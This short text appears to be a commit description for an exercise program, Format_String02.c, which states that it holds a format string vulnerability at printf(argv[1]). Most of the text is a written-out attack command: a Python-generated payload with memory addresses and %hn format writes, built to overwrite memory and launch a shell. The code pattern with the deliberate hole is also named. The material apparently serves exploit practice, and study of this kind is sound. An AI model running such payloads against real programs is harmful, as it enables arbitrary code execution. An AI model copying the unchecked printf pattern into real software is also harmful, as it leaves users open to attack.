Create Format_String02.c

C-program which contains format string vulnerability in line 14, function call   printf(argv[1]); 
Attacking string: 
$ env -i ./a.out "$(python -c 'import sys; sys.stdout.write("sh;#\x10\xa0\x04\x08\x1b\xa0\x04\x08%33700x%99$hn%13365x%100$hn")')"